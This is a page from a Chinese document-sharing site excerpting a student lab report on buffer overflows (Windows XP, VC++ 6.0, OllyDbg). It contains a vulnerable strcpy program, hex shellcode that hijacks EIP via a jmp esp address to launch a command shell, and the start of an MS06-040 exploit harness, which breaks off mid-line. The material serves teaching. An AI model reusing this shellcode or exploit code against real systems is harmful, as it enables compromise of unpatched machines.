欢迎来到天天文库
浏览记录
ID:55612430
大小:346.50 KB
页数:15页
时间:2020-05-19
《缓冲区溢出实验报告.doc》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:姓名班级学号贡献百分比得分高涛信安0703班U100%注:团队成员贡献百分比之和为1教师评语:一.实验环境n操作系统:WindowsXPSP3n编译平台:VisualC++6.0n调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法n缓冲区溢出模拟程序程序源代码如下:#include"string.h"#include"stdio.h"#include<
2、windows.h>//charname[]="AAAAAAAAAAAAAAAA";charname[]="AAAAAAAAAAAAABCD";intmain(){charoutput[8];strcpy(output,name);//内存拷贝,如果name长度超过8,则出现缓冲区溢出for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP
3、指向,引发访问异常。n运行命令窗口的shellcodeshellcode测试代码如下:#include"string.h"#include"stdio.h"#includecharname[]="x41x41x41x41""x41x41x41x41""x41x41x41x41"///覆盖ebp"x12x45xfax7f"////覆盖eip,jmpesp地址7ffa4512"x55x8bxecx33xc0x50x50x50xc6x45xf4x6d""xc6x45xf5x73xc6x45
4、xf6x76xc6x45xf7x63""xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e""xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c""x8dx45xf4x50xb8""x77x1dx80x7c"//LoadLibraryW的地址"xffxd0""x55x8bxecx33xffx57x57x57xc6x45xf4x73""xc6x45xf5x74xc6x45xf6x61xc6x45xf7x
5、72""xc6x45xf8x74xc6x45xf9x20xc6x45xfax63""xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57""xba""xc7x93xbfx77"//System的地址"xffxd2";intmain(){charoutput[8];strcpy(output,name);for(inti=0;i<8&&output[i];i++){printf("\0x%x",output[i]);}printf("");return0;}shellcode测试代码运行
6、效果如下:由于把main函数的返回EIP地址替换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。1.MS06-040缓冲区溢出漏洞分析和利用n溢出点定位溢出点定位源代码#includetypedefvoid(*MYPROC)(LPTSTR);intmain(){chararg_1[0x320];chararg_2[0x440];intarg_3=0x440;chararg_4[0x100];longarg_5=44;inti=0;HINSTANCELibHandle;MYPROC
7、Trigger;chardll[]="./netapi32.dll";charVulFunc[]="NetpwPathCanonicalize";LibHandle=LoadLibrary(dll);//加载当前目录的netapi32.dllTrigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);//获得NetpwPathCanonicalize的调用地址//填充参数memset(arg_1,0,sizeof(arg_1));//先清零内存memset(arg_1,'a',sizeo
此文档下载收益归作者所有